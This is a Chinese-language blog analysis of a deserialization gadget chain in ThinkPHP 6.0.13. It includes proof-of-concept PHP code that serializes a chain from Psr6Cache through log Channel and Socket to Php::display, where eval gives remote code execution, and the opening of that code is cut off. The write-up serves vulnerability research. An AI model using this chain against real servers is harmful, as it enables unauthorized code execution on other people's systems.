Think PHP 6.0.13反序列化分析

2023-10-06 08:18

短信预约 -IT技能 免费直播动态提醒

原poc链接：https://github.com/top-think/framework/issues/2749

think PHP 6.0.13下载

composer create-project topthink/think tp

poc源码

pool = $exp;        }    }}namespace think\log{    class Channel{        protected $logger;        protected $lazy = true;        public function __construct($exp)        {            $this->logger = $exp;             $this->lazy = false;        }    }}namespace think{    class Request{        protected $url;        public function __construct()        {            $this->url = '';        }    }    class App{        protected $instances = [];        public function __construct()        {            $this->instances = ['think\Request'=>new Request()];        }    }}namespace think\view\driver{    class Php{}}namespace think\log\driver{    class Socket{        protected $config = [];        protected $app;        protected $clientArg = [];        public function __construct()        {                        $this->config = [                'debug'=>true,                'force_client_ids' => 1,                'allow_client_ids' => '',                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法            ];            $this->app = new \think\App();            $this->clientArg = ['tabid'=>'1'];        }    }}namespace{    $c = new think\log\driver\Socket();    $b = new think\log\Channel($c);    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);    echo base64_encode(serialize($a));}

分析

从POC开始分析

起始类是Psr6Cache类，但是在Psr6Cache类中没有发现__destruct()方法，在定义类的地方发现其继承了AbstractCache类。通过全局查找__destruct方法定位到class="lazy" data-src/Storage/AbstractCache.php

这里对autosave变量进行判断是否为false，$autosave是成员变量可以控制，后调用了save方法，跟进save方法

调用了pool的getItem方法，这里AbstractCache->pool是可控的，找一下__call方法，根据POC找到Channel.php

调用了log方法，再跟进record方法（记录日志信息）

在record方法中的前三个判断都可以过，主要看第四个判断，因为这里是要利用$this->save方法

$lazy默认是true不可控，但是$this->lazy是成员变量可控，因此可以进入save方法。继续跟进save方法。

在save方法判断了$this-event是否有值，这里默认是没有的，可以跳过，到$this->logger->save()

这里调用了$this->logger记录器的save方法，然而这里的logger是成员变量，是可控的。根据POC可以发现这里利用了socket的save方法

namespace think\log{    class Channel{        protected $logger;        protected $lazy = true;        public function __construct($exp)        {//$exp=new socket()            $this->logger = $exp;             $this->lazy = false;        }    }}

全局找一下save方法，继续跟进socket的save方法

这里首先对自身进行了检查，不通过就返回false，这里我们必须要check方法返回true，跟进check方法。check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证。

这里看一下检查request实例对象的分支

这里在POC中给了App中request的实例对象

再回到socket的save方法

判断debug是否开启，这里可控。这里有判断了$this->app的request实例对象是否存在，这里可以直接进入，然后获取request实例对象的url的值（这个值是重点）。然后判断this->config['format_head']是否存在，存在的话就调用$this->app的inoke方法，尝试调用反射执行this->config['format_head']的方法，参数是$currentUri。在这里我们只要找到可以执行危险操作的危险函数，并将其控制到this->config['format_head']里面就可以进行RCE了。而这个config是一个成员变量，是可控的，因此只要寻找危险方法就可以了。这里POC找的是Php类的display方法，里面存在eval函数。